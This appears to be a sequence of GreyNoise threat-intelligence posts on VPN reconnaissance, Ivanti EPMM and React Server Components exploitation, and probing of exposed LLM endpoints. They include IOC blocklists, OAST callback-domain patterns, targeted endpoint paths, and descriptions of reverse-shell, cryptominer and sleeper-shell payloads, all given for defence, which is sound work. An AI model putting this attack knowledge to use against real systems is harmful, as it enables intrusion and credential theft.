Threat Signals

GreyNoise observed 84,142 scanning sessions targeting SonicWall SonicOS infrastructure between February 22 and February 25, 2026. The activity originated from 4,305 unique IP addresses across 20 autonomous systems, with three operationally distinct infrastructure clusters executing coordinated VPN enumeration. Ninety-two percent of sessions probed a single API endpoint to determine whether SSL VPN is enabled — the prerequisite check before credential attacks. A commercial proxy service delivered 32% of campaign volume through 4,102 rotating exit IPs in two surgical bursts totaling 16 hours. CVE exploitation was negligible, confirming this as systematic attack surface mapping.

‍

Why This Matters

SonicWall SSL VPN is one of the most documented initial access vectors for ransomware. Akira and Fog ransomware groups have repeatedly demonstrated that compromised SonicWall VPN credentials lead to full encryption in under four hours — with dwell times as short as 55 minutes. Five of seven SonicWall CVEs relevant to this attack surface appear in CISA's Known Exploited Vulnerabilities catalog, with four having documented ransomware use. The reconnaissance GreyNoise observed is the precursor phase — systematic target mapping that precedes exploitation.

Since March 2023, Akira alone has compromised at least 250 organizations and generated an estimated $244 million in ransomware proceeds, with 75% of SonicWall VPN intrusions attributed to Akira and 25% to Fog. More than 430,000 SonicWall firewalls are publicly exposed on the internet, with over 25,000 SSL VPN devices vulnerable to critical flaws and 20,000 running firmware that is no longer supported.

This is not the first time GreyNoise has observed this pattern. In December 2025, GreyNoise documented a coordinated credential campaign targeting both Palo Alto and SonicWall VPN infrastructure across 9 million sessions from more than 7,000 IPs, sharing identical client fingerprints across both vendors. The February 2026 campaign represents a continuation and intensification of VPN-focused reconnaissance.

‍

Key Takeaways

• 84,142 sessions from 4,305 IPs in four days — Coordinated reconnaissance targeting SonicWall VPN enumeration and credential testing endpoints indicates systematic attack surface mapping
• 92% of sessions probed a single API endpoint — The VPN status check determines which devices have SSL VPN active, creating a target list for future credential attacks
• 32% of volume routed through a commercial proxy service — 4,102 exit IPs delivered 27,119 sessions in two surgical bursts, averaging 6.6 sessions per IP to evade rate-limiting
• Multi-vendor VPN reconnaissance — The Netherlands scanning cluster simultaneously targets SonicWall and Cisco ASA devices, indicating a broader VPN mapping operation
• Reconnaissance dominates — 92% of sessions targeted a single VPN status-check endpoint, confirming systematic target mapping rather than active exploitation
• Defenders should act now — Restrict management interface access, enforce MFA on SSL VPN, and patch CVE-2024-53704 (CVSS 9.8, CISA KEV) before reconnaissance converts to exploitation

‍

What GreyNoise Observed

Campaign Timeline

The campaign exhibited four distinct bursts separated by a ∼31-hour low-activity period, with a persistent credential-testing baseline running continuously underneath.

Burst 1 — Initial Scan Wave (Feb 22, 00:00–19:00 UTC): The campaign opened with a 19-hour scanning wave peaking at 3,272 sessions per hour. This burst combined proxy infrastructure with the Netherlands scanning cluster, totaling 30,952 sessions on the first day.

Low-Activity Period (Feb 22 21:00 – Feb 24 04:00 UTC, ∼31 hours): Session volume dropped to a 54–90 session/hour baseline — exclusively the persistent NetExtender credential testing cluster operating on autopilot.

Burst 2 — Proxy Resurgence (Feb 24, 04:00–12:00 UTC): The proxy infrastructure reactivated for a focused 8-hour window, delivering 17,991 sessions through rotating exit IPs. Per-IP volume remained extremely low (average 6.6 sessions, maximum 13), consistent with a proxy service rotating exit nodes.

Burst 3 — Peak Hour (Feb 24, 15:00–17:00 UTC): 7,374 sessions in the 15:00 UTC hour — the single highest hourly count of the entire campaign — followed by 5,484 in the 16:00 hour. This burst originated from the Netherlands scanning cluster, not the proxy pool.

Burst 4 — Final Surge (Feb 25, 08:00–13:00 UTC): A final burst peaked at 5,899 sessions in the 11:00 UTC hour, indicating ongoing orchestration.

‍

‍

The dramatic February 23 lull — a 95% drop from the preceding day — is operationally significant. The scanning infrastructure did not fail; the persistent NetExtender cluster continued uninterrupted at its normal rate. The pause suggests deliberate operational scheduling.

‍

What Is Being Targeted

Two SonicWall-specific paths dominate the campaign, accounting for over 99.5% of all sessions:

‍

‍

‍

The overwhelming concentration on the VPN status API endpoint reveals the campaign’s objective: building a comprehensive list of SonicWall devices with active SSL VPN. This is a prerequisite for credential attacks — identifying which devices are worth targeting before deploying more expensive proxy resources for login testing.

‍

Four Infrastructure Clusters

‍

Cluster 1: Netherlands VPN Hunters (28% of Campaign)

Six IPs within a single Ukrainian-registered autonomous system (AS211736) operating from Amsterdam-based infrastructure delivered 23,794 sessions. These IPs run dual-vector scanning: VPN status enumeration paired with Cisco ASA reconnaissance, indicating a multi-vendor VPN mapping operation.

Censys infrastructure profiling revealed these nodes run identical software stacks. All share a single HASSH fingerprint, confirming deployment from a common provisioning template. Four of the six expose HTTP services on ports 7001–7003 with identical bare-minimum 404 responses — consistent with a custom scanning framework spawning worker threads.

‍

‍

Cluster 2: Commercial Proxy Spray (32% of Campaign)

27,119 sessions originated from 4,102 IP addresses in the 154[.]208[.]64[.]0/21 range, transiting through AS3257 (GTT Communications) from Canadian hosting infrastructure.

The proxy service — ByteZero (bytezero[.]io) — markets itself as offering 100+ million IPs across 150+ countries for web scraping and data collection. The scanning traffic originates from ByteZero’s paying customers, not the proxy infrastructure itself. ByteZero is the anonymization layer enabling the activity.

The proxy usage was surgical — concentrated in two primary windows:

‍

‍

A critical detail: ByteZero’s customer management platform went offline in early December 2025. The proxy nodes have continued operating for approximately three months without active abuse mitigation. This directly explains the unchecked scanning volume.

‍

Cluster 3: The Mega-Scanner (22% of Campaign)

A single IP — 130[.]12[.]180[.]29 on AS202412 (Omegatech, registered in the Seychelles), geolocating to Germany — generated 18,763 sessions. This IP scanned across 20+ destination ports including non-standard ports (6666, 7777, 7443, 9443), cycling through 26 different browser user agents to evade basic fingerprinting.

‍

Cluster 4: NetExtender Persistent (8% of Campaign)

156 IPs across four dedicated ranges maintain continuous credential testing at 54–72 sessions per hour against the NetExtender VPN login endpoint. This cluster uses a legitimate SonicWall VPN client identifier and never stops — it ran uninterrupted through the February 23 low-activity period. Total: 6,629 sessions over four days.

‍

Fingerprint Analysis

A single HTTP fingerprint was present in 58,510 sessions — nearly 70% of the entire campaign. The associated user agent presents as a modern browser (Chrome 119 on Linux) but is paired with HTTP/1.0, a protocol version that legitimate Chrome browsers never use. This mismatch is a reliable, high-confidence indicator of automated scanning tooling.

‍

‍

Exploitation Assessment

Despite the reconnaissance volume, the campaign's behavioral profile is overwhelmingly pre-exploitation. 92% of sessions queried a single API endpoint to determine VPN status — a prerequisite check, not an exploit. GreyNoise maintains CVE-specific detection tags for six of the seven CVEs below; CVE-2024-40766 does not currently have a detection tag.

‍

*CVE-2022-22274 and CVE-2023-0656 are detected by the same GreyNoise tag ("SonicOS RCE Attempt"). The 9 campaign sessions apply to both CVEs collectively.

‍

‍

Four of the five CISA KEV entries have documented ransomware use. The behavioral profile of this campaign — 92% concentrated on a single VPN status-check endpoint — is consistent with pre-exploitation reconnaissance rather than active exploitation. The targets identified during this mapping phase are likely to face exploitation attempts in the days and weeks ahead.

‍

Strategic Implications

The use of commercial proxy services for VPN reconnaissance represents a maturation of the threat. Unlike botnets with fixed infrastructure, proxy services provide rotating datacenter IP addresses that are difficult to distinguish from legitimate traffic. The low per-IP session volume — averaging 6.6 sessions per exit node — is calibrated to evade rate-limiting and reputation-based blocking. Static blocklists cannot keep pace with infrastructure that rotates thousands of IPs within a single scan window.

The headless state of the proxy service — operating for three months without active abuse oversight after its management platform went offline — highlights a structural gap in the proxy ecosystem. When proxy providers lose the ability or incentive to police their customers’ traffic, their infrastructure becomes functionally equivalent to bullet-proof hosting.

This pattern is accelerating. In January 2026, Google disrupted IPIDEA — a residential proxy network used by over 550 threat groups including nation-state APTs — for credential stuffing and C2 obfuscation. The Shadowserver Foundation has tracked a separate campaign using 2.8 million IPs daily to brute-force VPN login portals. The proxy ecosystem has become the primary enabler of credential-based initial access.

Organizations running SonicWall firewalls should treat this reconnaissance as an early warning. The documented Akira ransomware kill chain begins with compromised SonicWall VPN credentials and achieves encryption in under four hours. SonicWall itself has confirmed that recent intrusions resulted from password reuse combined with CVE exploitation. The gap between the reconnaissance GreyNoise is observing and the exploitation that follows may be shorter than many organizations’ patching cycles.

‍

Check If Your SonicWall Was Targeted (5 Minutes)

Step 1 — Check your logs (2 minutes). Search firewall logs for external requests to these paths between February 22–25:

• /api/sonicos/is-sslvpn-enabled (VPN status check)
• /sonicui/7/login/ (management interface)
• /cgi-bin/userLogin (VPN credential testing)

Step 2 — Check active VPN sessions (1 minute). Navigate to NETWORK | SSL VPN > Status in SonicOS 7.x. Look for sessions from IP addresses outside your user base, particularly from hosting or VPS providers.

Step 3 — Verify firmware and MFA (2 minutes). Confirm your SonicOS firmware is patched against CVE-2024-53704 (versions at or below 7.1.1-7058, 7.1.2-7019, or 8.0.0-8035 are vulnerable). Confirm MFA is enabled for all SSL VPN users.

If your SonicWall was probed and you are running end-of-life SRA appliances, disconnect them immediately — CVE-2021-20028 and CVE-2019-7481 have no patches available.

‍

Recommendations

For Security Leadership:

• Audit SonicWall management interface exposure — administrative endpoints should never be internet-accessible
• Verify MFA is enforced on all SSL VPN users — credential stuffing is rendered ineffective by MFA
• Evaluate dynamic blocklists to address the IP rotation that makes static lists ineffective against proxy-based campaigns
• Treat VPN infrastructure as a priority patching tier — the reconnaissance-to-exploitation gap is narrowing

‍

For Security Operations:

• Restrict access to /sonicui/7/login/ and /api/sonicos/ paths to trusted management IPs only
• Monitor for HTTP/1.0 requests paired with modern browser user agents — this combination is a high-confidence indicator of automated scanning
• Block identified scanning infrastructure at the perimeter:
• 154[.]208[.]64[.]0/21 (proxy exit nodes)
• 185[.]177[.]72[.]0/24 (bullet-proof hosting)
• 185[.]156[.]73[.]0/24 and 88[.]210[.]63[.]0/24 (scanner fleet)
• 204[.]76[.]203[.]0/24 (scanning with credential collection indicators)

‍

For SonicWall Administrators:

• Patch SonicOS against CVE-2024-53704 (CVSS 9.8, CISA KEV) — SonicWall advisory SNWLID-2025-0003
• Reset all local user account passwords, especially those carried over during Gen 6 to Gen 7 migrations
• Decommission end-of-life SRA appliances — no patches are available for CVE-2021-20028 or CVE-2019-7481
• Enable login attempt lockout and password complexity enforcement (SonicOS 7.3+)
• SonicWall administrators running SonicOS 7.3.2 or NSM SaaS also have access to the Credential Auditor feature, which provides visibility into credential sprawl and reuse across the firewall environment
• Enable Geo-IP filtering and Botnet Protection on the firewall

‍

View real-time GreyNoise data on SonicWall activity:

• SonicWall SonicOS API Scanner
• SonicWall SSL VPN Login Attempt
• SonicWall NetExtender Scanner
• CVE-2024-53704 Session Hijacking
• SonicOS RCE Attempt (CVE-2022-22274 / CVE-2023-0656)
• SonicWALL SRA SQL Injection Attempt (CVE-2021-20028)
• ‍SonicWALL SRA SQL Injection Vuln Check (CVE-2021-20028)
• SonicWall SMA100 Arbitrary File Leak CVE-2024-38475 Attempt
• SonicWall SRA 4600 SQL Injection Attempt (CVE-2019-7481)

‍

The GreyNoise Global Observation Grid observed active exploitation of two critical Ivanti Endpoint Manager Mobile vulnerabilities, and 83% of that exploitation traces to a single IP address on bulletproof hosting infrastructure that does not appear on widely circulated IOC lists. Meanwhile, several of the most-shared IOCs for this campaign show zero Ivanti exploitation in GreyNoise data. They are scanning for Oracle WebLogic instead. Defenders blocking only the published indicators may be watching the wrong door.

‍

Why This Matters

The infrastructure actually conducting Ivanti EPMM exploitation at volume is an IP on a Censys-labeled "BULLETPROOF" autonomous system running simultaneous campaigns against four different software products. It is absent from the IOC lists many defenders adopted in the days after disclosure. The IOCs that are circulating point to shared VPN exit nodes conducting unrelated scanning and a compromised residential router with zero internet-wide activity. Organizations that relied solely on those indicators may have detection gaps against the exploitation GreyNoise is observing right now.

‍

Key Takeaways

• Single dominant source. 83% of observed exploitation comes from one IP on bulletproof hosting (PROSPERO OOO, AS200593). This IP is not on widely published IOC lists, meaning defenders blocking only published indicators are likely missing the dominant exploitation source.
• Published IOCs show zero Ivanti activity. The /24 subnet containing four published Windscribe VPN IOC IPs generated 29,588 sessions in 30 days, with 99% targeting Oracle WebLogic on port 7001, not Ivanti. Zero Ivanti EPMM exploitation sessions from this range in GreyNoise data.
• Blind RCE verification, not immediate deployment. 85% of exploitation payloads use OAST DNS callbacks to verify command execution. This indicates a campaign cataloging vulnerable targets for later exploitation, consistent with initial access broker tradecraft.
• Exploitation is accelerating. 269 sessions on February 8 alone, up from a daily average of 21. Defenders with unpatched, internet-facing EPMM instances should assume they have been scanned and investigate for signs of compromise.

For GreyNoise customers: An IOC package and executive situation report (SITREP) for CVE-2026-1281 have been delivered to your inbox. Check your email for the full package, including indicators, detection guidance, and a board-ready summary.

‍

The Vulnerability and Timeline

CVE-2026-1281 is a CVSS 9.8 (v3.1) unauthenticated remote code execution vulnerability in Ivanti Endpoint Manager Mobile. It exploits Bash arithmetic expansion in EPMM’s file delivery mechanism, allowing an unauthenticated attacker to execute arbitrary commands on the underlying server. Ivanti also disclosed CVE-2026-1340 (CVSS 9.8), a related code injection flaw in a different EPMM component.

On January 29, three things happened on the same day: Ivanti published its advisory, CISA added CVE-2026-1281 to the Known Exploited Vulnerabilities catalog with a three-day remediation deadline, and Dutch authorities later confirmed that the Dutch Data Protection Authority (AP) and the Council for the Judiciary (RVDR) had been compromised via Ivanti EPMM. By January 30, watchTowr Labs had published a full technical analysis, and proof-of-concept code appeared on GitHub shortly after. NHS England, CERT-EU, and NCSC-NL also issued advisories confirming active exploitation.

Vendor disclosure, CISA KEV listing, and confirmed government compromise occurred on a single day. By the time most organizations saw the advisory, exploitation was already underway against real targets.

‍

What GreyNoise Sensors Observed

GreyNoise first detected CVE-2026-1281 exploitation attempts on February 1, three days after disclosure. Between February 1 and February 9, GreyNoise sensors recorded 417 exploitation sessions from 8 unique source IPs.

‍

‍

‍

The February 8 spike is notable: 269 sessions in a single day, roughly 13 times the daily average of the preceding week. This pattern of sustained low-level activity followed by a sharp escalation suggests either expanded targeting scope or retooling by the primary source.

The 8 Source IPs

‍

‍

IP geolocation reflects infrastructure registration, not operator location. GreyNoise is not attributing this activity to a specific threat actor.

‍

The Dominant Source: PROSPERO OOO

One IP generated 346 of 417 observed exploitation sessions. 193[.]24[.]123[.]42, registered to PROSPERO OOO (AS200593) and geolocating to Saint Petersburg, Russia, accounts for 83% of all Ivanti EPMM exploitation in GreyNoise telemetry. Censys identifies this autonomous system with a confidence-scored "BULLETPROOF" label.

This IP does not appear on the widely circulated IOC lists for this campaign.

‍

A Multi-CVE Exploitation Platform

This is not a single-purpose host. GreyNoise telemetry shows 193[.]24[.]123[.]42 simultaneously exploiting four different CVEs across unrelated software:

‍

‍

The IP rotates through 300+ unique user agent strings spanning Chrome, Firefox, Safari, and multiple operating system variants. This fingerprint diversity, combined with concurrent exploitation of four unrelated software products, is consistent with automated tooling.

For additional context: Trustwave SpiderLabs has previously documented connections between PROSPERO and the Proton66 network (AS198953), linking both to bulletproof hosting services marketed on Russian-language cybercrime forums under the BEARHOST brand. That network has been associated with distribution infrastructure for GootLoader, SpyNote, and other malware families. This does not confirm attribution of the Ivanti campaign to any specific threat actor, but it places the dominant exploitation source on infrastructure with a documented history of hosting malicious operations.

‍

85% of Exploitation Uses Blind RCE Verification

‍

Of 417 exploitation sessions, 354 (85%) triggered GreyNoise’s out-of-band application security testing (OAST) interaction domain detection. The payloads instruct the target to generate a DNS callback to a unique subdomain, a technique that confirms command execution without requiring a direct response back to the attacker.

Because GreyNoise can observe not just that exploitation was attempted, but what the payload does when it runs, we see a clear pattern. In this case, 85% of payloads do one thing: phone home via DNS to confirm "this target is exploitable." They do not deploy malware. They do not exfiltrate data. They verify access.

That pattern is significant. OAST callbacks indicate the campaign is cataloging which targets are vulnerable rather than deploying payloads immediately. This is consistent with initial access operations that verify exploitability first and deploy follow-on tooling later.

‍

What Happens After: The 403.jsp Sleeper Shells

External research corroborates this interpretation. On February 9, Defused Cyber reported a campaign deploying dormant in-memory Java class loaders to compromised EPMM instances at the path /mifs/403.jsp. The implants require a specific trigger parameter to activate, and no follow-on exploitation was observed at the time of their report. Defused Cyber assessed this as consistent with initial access broker tradecraft: establish a foothold, then sell or hand off access later.

The GreyNoise OAST data and the Defused Cyber findings point in the same direction. The exploitation GreyNoise observes is focused on cataloging and staging access, not on immediate deployment. For defenders, this means compromised systems may appear unaffected right now. The sleeper shells are designed to wait.

Note: The OAST patterns described above reflect what GreyNoise sensors observed. The Defused Cyber findings describe activity on production systems. Both datasets point in the same direction but represent different vantage points on the campaign.

‍

Published IOCs in GreyNoise Data

Several widely published IOCs for this campaign do not appear in Ivanti EPMM exploitation attempts observed by GreyNoise sensors. GreyNoise does observe activity from these IPs, but targeting different vulnerabilities entirely.

‍

‍

Windscribe VPN Exit Nodes (185[.]212[.]171[.]0/24)

Four published IOC IPs (.151, .156, .137, .134) sit in a /24 block on M247 infrastructure (AS9009) in Amsterdam. Censys shows this block contains 95 hosts: a dense cluster of commercial VPN exit nodes, including Windscribe IKE endpoints with certificates carrying anti-censorship domain names.

In GreyNoise data, 99% of this subnet’s traffic targets Oracle WebLogic on TCP port 7001. It does not target Ivanti EPMM.

‍

All four IOC IPs appear to be “dark” exit nodes: Censys detects zero inbound services on any of them. They exist to funnel outbound VPN traffic. Two of the four (.137, .134) have zero sessions in GreyNoise over the past 30 days.

This matters because these are shared VPN exits used by many subscribers for many purposes. The WebLogic scanning GreyNoise observes from this range may originate from a different VPN user than the Ivanti-related activity that prompted the original IOC listing. Blocking these IPs is a defensible decision, but defenders should understand that these indicators carry higher false-positive risk than dedicated exploitation infrastructure.

Separately, on February 5, Dutch authorities seized a Windscribe VPN server in the Netherlands as part of an undisclosed investigation. Windscribe disclosed the seizure, noting that its RAM-only (diskless) server architecture means no user data would be recoverable. No public reporting has linked the seizure to the Ivanti EPMM campaign.

‍

A Compromised Residential Router (151[.]177[.]78[.]0)

One published IOC IP has never appeared in GreyNoise telemetry. Censys identifies 151[.]177[.]78[.]0 as an ASUS router on Tele2 residential broadband in Gothenburg, Sweden, running outdated firmware with an exposed cloud management interface and a factory-default certificate.

Its absence from GreyNoise data is itself informative. GreyNoise operates 5,000+ sensors across 80+ countries that observe internet-wide scanning and exploitation. An IP conducting broad exploitation would almost certainly appear. Zero sessions suggest this IP was used exclusively for targeted activity directed at specific systems, consistent with compromised residential infrastructure being used as an exit proxy.

For defenders who implemented the published IOCs: if you blocked the Windscribe VPN range (185[.]212[.]171[.]0/24) but not AS200593 (PROSPERO), your defenses may have addressed secondary infrastructure while missing the primary exploitation source in GreyNoise telemetry.

‍

Strategic Implications

IOC-based defenses face a fundamental confidence problem in this campaign. Published indicators ranged from shared VPN infrastructure (low confidence, high false-positive risk) to bulletproof hosting with concentrated exploitation activity (high confidence, low collateral). Organizations applying uniform blocklist policies to all published IOCs are either over-blocking legitimate traffic or under-blocking actual threats. The 83% concentration on a single PROSPERO-hosted IP, while published IOCs showed zero overlap with GreyNoise exploitation data, demonstrates that post-incident IOC sharing can miss the infrastructure actually used at volume. Defenders benefit from a confidence-scoring framework for IOCs that accounts for infrastructure type, observed behavior concentration, and temporal proximity to the vulnerability window.

The OAST callback pattern and the Defused Cyber sleeper shell findings together suggest that initial exploitation is only the first phase. If this campaign follows the initial access broker model, compromised EPMM instances may not show obvious signs of abuse for weeks or months. Organizations that patched quickly but did not investigate for prior compromise during the exposure window may have dormant implants in their environment. The absence of visible post-exploitation activity is not evidence of safety.

Mobile device management platforms represent a target class with compounding risk. EPMM compromise provides access to device management infrastructure for entire organizations, creating a lateral movement platform that bypasses traditional network segmentation. Organizations running MDM platforms should treat these systems with the same criticality as domain controllers or identity providers, including network isolation, aggressive patch cycles, and monitoring for unauthorized configuration changes or device enrollments.

The exploitation timeline has compressed below the threshold of conventional patch management. Same-day government compromise and a 72-hour gap to widespread scanning leaves no buffer for "patch this weekend" strategies. Organizations with internet-facing MDM, VPN concentrators, or other remote access infrastructure should operate under the assumption that critical vulnerabilities face exploitation within hours of disclosure.

‍

Recommendations

For Security Leadership:

• Audit whether Ivanti EPMM and other MDM infrastructure is directly internet-facing. MDM platforms manage entire device fleets; their compromise exposure is disproportionate to a single server. Consider placing MDM behind VPN or zero-trust network access.
• Evaluate your IOC ingestion workflow. Are indicators enriched with infrastructure context before being added to blocklists? The difference between a bulletproof hosting IP and a shared VPN exit node is the difference between a high-confidence block and a potential false positive.
• If your EPMM instance was internet-facing and unpatched between January 29 and your patch date, commission an investigation. The sleeper shell tradecraft observed in this campaign means compromise may not be visible through normal monitoring.

For Security Operations:

• Block AS200593 (PROSPERO OOO) at the network perimeter. This autonomous system accounts for 83% of observed Ivanti EPMM exploitation and carries a Censys BULLETPROOF designation. GreyNoise dynamic blocklists can help maintain coverage as exploitation infrastructure shifts.
• Review DNS logs for OAST-pattern callbacks: unique, high-entropy subdomains resolving to known OAST interaction infrastructure. These indicate that exploitation payloads executed on your systems.
• Monitor for the /mifs/403.jsp path on EPMM instances. This is the sleeper shell location identified by Defused Cyber. Its presence indicates compromise even if no further malicious activity is visible.
• Consider restarting EPMM application servers to clear in-memory implants that may have been staged. In-memory class loaders do not survive a process restart.

For Ivanti EPMM Administrators:

• Apply patches for CVE-2026-1281 and CVE-2026-1340 immediately. Exploitation is active and accelerating.
• If your instance was unpatched and internet-facing at any point between January 29 and your patch date, investigate for indicators of compromise: unexpected files at /mifs/403.jsp, anomalous outbound DNS activity, unfamiliar Java processes, and any evidence of unauthorized administrative actions on managed devices.
• Review whether EPMM needs to accept connections from the open internet. Where architecturally feasible, restrict access to known network ranges or require VPN authentication before reaching the EPMM interface.

‍

View real-time exploitation data: Ivanti Endpoint Manager Mobile Code Injection CVE-2026-1281 RCE Attempt

Full fingerprint analysis and session-level exploitation data available to GreyNoise customers.

For GreyNoise Customers: A comprehensive IOC package with extended infrastructure, network fingerprints, and connected domains was sent directly to customers via email.

Two months after CVE-2025-55182 was disclosed on December 3, 2025, exploitation activity targeting React Server Components has consolidated significantly. GreyNoise telemetry from the past seven days shows that two IP addresses now account for 56% of all observed exploitation attempts, down from 1,083 unique sources.

The dominant sources deploy distinct post-exploitation payloads: one retrieves cryptomining binaries from staging servers, while the other opens reverse shells directly to the scanner IP. Whether this represents two separate actors or compartmentalized infrastructure from a single actor remains unclear, but the behavioral distinction is notable.

‍

Why This Matters

CVE-2025-55182 is a CVSS 10.0 pre-authentication remote code execution vulnerability with a public Metasploit module. Exploitation requires only a single HTTP POST request. The payloads GreyNoise observed on its sensors are not reconnaissance scans but active exploitation attempts deploying cryptominers and reverse shells. Organizations running unpatched React Server Components should assume they have been targeted.

‍

Key Findings

• Two IPs generated 56% of exploitation traffic over the past seven days (January 26 to February 2, 2026)
• 193.142.147[.]209 accounted for 488,342 sessions (34%)
• 87.121.84[.]24 accounted for 311,484 sessions (22%)
• 1,083 unique source IPs observed during this period
• Post-exploitation payloads include XMRig cryptominers and reverse shells on port 12323

‍

Exploitation Activity

GreyNoise sensors recorded 1,419,718 exploitation attempts targeting CVE-2025-55182 over the seven-day observation period. The following table summarizes the dominant sources:

‍

The remaining 44% of traffic was distributed across 1,081 other source IPs.

‍

Post-Exploitation Behavior

The two dominant sources exhibit different post-exploitation patterns, suggesting different operational objectives.

‍Cryptomining operation (87.121.84[.]24): Successful exploitation triggers retrieval of an XMRig binary from staging servers at 205.185.127[.]97 and 176.65.132[.]224. GreyNoise captured both the dropper script and ELF binary on vulnerable honeypots. Both staging servers serve identical payloads.

‍Reverse shell operation (193.142.147[.]209): Successful exploitation opens a reverse shell directly to the scanner IP on port 12323 without using a staging server. This approach suggests interest in interactive access rather than automated resource extraction.

JA4H fingerprint analysis confirms different HTTP client implementations between the two sources. Full fingerprint data is available to GreyNoise customers.

‍

Infrastructure Analysis

Pivoting on the cryptomining staging server revealed infrastructure with extended history. The primary staging server (205.185.127[.]97) has hosted attacker-controlled domains since at least 2020 according to SSL certificate records:

• September 2020: mased[.]top subdomains
• November 2021: mercarios[.]buzz
• January 2022: bt2.radiology[.]link

WHOIS records show shared registrant information across these domains, with registration dates extending back to 2018.

Adjacent IP addresses in the same /24 as the scanner (87.121.84[.]25 and 87.121.84[.]45) are currently serving Mirai and Gafgyt variants targeting MIPS and ARM architectures, along with exploit scripts for consumer routers and DVRs.

‍

Vulnerability Background

CVE-2025-55182 was disclosed on December 3, 2025 and affects React Server Components. The vulnerability carries a CVSS score of 10.0. The flaw exists in how serialized data is processed, allowing an attacker to send a malicious POST request that the server deserializes and executes without authentication or user interaction.

A Metasploit module was published shortly after disclosure, contributing to rapid exploitation uptake. GreyNoise first observed exploitation attempts on December 5, 2025.

Affected versions: React 19.0.0, 19.1.0 through 19.1.1, 19.2.0

Patched versions: React 19.0.1, 19.1.2, 19.2.1

‍

Targeting Patterns

Port distribution indicates focus on development infrastructure:

‍

React development servers configured with --host 0.0.0.0 for network accessibility are particularly exposed when internet-facing.

‍

Recommendations

Patch immediately. Upgrade to React 19.0.1, 19.1.2, or 19.2.1. If immediate patching is not possible, disable React Server Components.

Block known infrastructure. Add the following IPs to blocklists:

• 193.142.147[.]209
• 87.121.84[.]24
• 205.185.127[.]97
• 176.65.132[.]224

Hunt for historical connections. Review network logs for connections to these IPs since early December 2025.

Audit development infrastructure. Verify that React development servers are not exposed to the internet. The --host 0.0.0.0 flag should only be used on isolated networks.

Monitor for indicators. Watch for POST requests containing unusual Next-Action headers in web server logs.

‍

‍

Additional IOCs including network fingerprints and HTTP signatures are available to GreyNoise customers.

‍

Our Ollama honeypot infrastructure captured 91,403 attack sessions between October 2025 and January 2026. Buried in that data: two distinct campaigns that reveal how threat actors are systematically mapping the expanding surface area of AI deployments.

GreyNoise customers have received an Executive Situation Report (SITREP) including IOCs and other valuable intelligence from this investigation. Customers, please check your inbox. 

‍

This corroborates and extends Defused’s findings.

The SSRF campaign: Forcing your servers to phone home

The first campaign exploited server-side request forgery vulnerabilities—tricks that force your server to make outbound connections to attacker-controlled infrastructure.

Attackers targeted two vectors:

1. Ollama's model pull functionality: Injecting malicious registry URLs that force servers to make HTTP requests to attacker infrastructure
2. Twilio SMS webhook integrations: Manipulating MediaUrl parameters to trigger outbound connections (we’re including this since they co-occurred with the Ollama targeting)

The campaign ran from October 2025 through January 2026, with a dramatic spike over Christmas—1,688 sessions in 48 hours. Attackers used ProjectDiscovery's OAST (Out-of-band Application Security Testing) infrastructure to confirm successful SSRF exploitation via callback validation.

Fingerprinting revealed the operation's structure. A single JA4H signature (po11nn060000…) appeared in 99% of attacks, pointing to shared automation tooling—likely Nuclei. The 62 source IPs spread across 27 countries, but consistent fingerprints indicate VPS-based infrastructure, not a botnet.

Assessment: Probably security researchers or bug bounty hunters. OAST callbacks are standard vulnerability research techniques. But the scale and Christmas timing suggest grey-hat operations pushing boundaries.

‍

The enumeration campaign: Building the target list

This is the one that should concern you.

Starting December 28, 2025, two IPs launched a methodical probe of 73+ LLM model endpoints. In eleven days, they generated 80,469 sessions—systematic reconnaissance hunting for misconfigured proxy servers that might leak access to commercial APIs.

The attack tested both OpenAI-compatible API formats and Google Gemini formats. Every major model family appeared in the probe list:

• OpenAI (GPT-4o and variants)
• Anthropic (Claude Sonnet, Opus, Haiku)
• Meta (Llama 3.x)
• DeepSeek (DeepSeek-R1)
• Google (Gemini)
• Mistral
• Alibaba (Qwen)
• xAI (Grok)

Test queries stayed deliberately innocuous with the likely goal to fingerprint which model actually responds without triggering security alerts.

‍

The infrastructure behind this campaign tells us who we're dealing with:

45.88.186.70 (AS210558, 1337 Services GmbH): 49,955 sessions 204.76.203.125 (AS51396, Pfcloud UG): 30,514 sessions.

Both IPs appear extensively in GreyNoise data with histories of CVE exploitation: CVE-2025-55182 (React2Shell), CVE-2023-1389, and over 200 other vulnerabilities. Combined observations exceed 4 million sensor hits.

Assessment: Professional threat actor conducting reconnaissance. The infrastructure overlap with established CVE scanning operations suggests this enumeration feeds into a larger exploitation pipeline. They're building target lists.

‍

What to block

Network fingerprints

‍

OAST callback domains

Block these TLD patterns (580 unique domains observed):

• *.oast.live
• *.oast.me
• *.oast.online
• *.oast.pro
• *.oast.fun
• *.oast.site
• *.oast.today

‍

IP addresses

SSRF campaign (top 3):

• 134.122.136.119, 134.122.136.96 (AS152194, Japan)
• 112.134.208.214 (AS9329, Sri Lanka)
• 146.70.124.188, 146.70.124.165 (AS9009, Romania)

LLM enumeration campaign:

• 45.88.186.70 (AS210558, United States)
• 204.76.203.125 (AS51396, Netherlands)

‍

Defend your LLM infrastructure

• Lock down model pulls. Configure Ollama to accept models only from trusted registries. Egress filtering prevents SSRF callbacks from reaching attacker infrastructure.
• Detect enumeration patterns. Alert on rapid-fire requests hitting multiple model endpoints. Watch for the fingerprinting queries: "How many states are there in the United States?" and "How many letter r..."
• Block OAST at DNS. Cut off the callback channel that confirms successful exploitation.
• Rate-limit suspicious ASNs. AS152194, AS210558, and AS51396 all appeared prominently in attack traffic.
• Monitor JA4 fingerprints. The signatures we identified will catch this tooling—and similar automation—targeting your infrastructure.

‍

Eighty thousand enumeration requests represent investment. Threat actors don't map infrastructure at this scale without plans to use that map. If you're running exposed LLM endpoints, you're likely already on someone's list.

GreyNoise is tracking a coordinated, automated credential-based campaign targeting enterprise VPN authentication infrastructure, with activity observed against Cisco SSL VPN and Palo Alto Networks GlobalProtect services over a two-day period in mid-December. 

The activity reflects large-scale scripted login attempts, not vulnerability exploitation. Consistent infrastructure usage and timing indicate a single campaign pivoting across multiple VPN platforms. 

GreyNoise has not observed evidence linking this activity to the campaign reported by Cisco Talos targeting Cisco Secure Email Gateway and Secure Email and Web Manager.

‍

Palo Alto Networks GlobalProtect Activity 

GreyNoise observed a large, session-heavy spike in automated login attempts targeting Palo Alto Networks GlobalProtect portals. The activity generated approximately 1.7 million sessions over a 16-hour period and was directed at GreyNoise’s emulated GlobalProtect and PAN-OS profiles. 

More than 10,000 unique IPs attempted to log into GlobalProtect portals on 11 December. 

‍

‍

‍

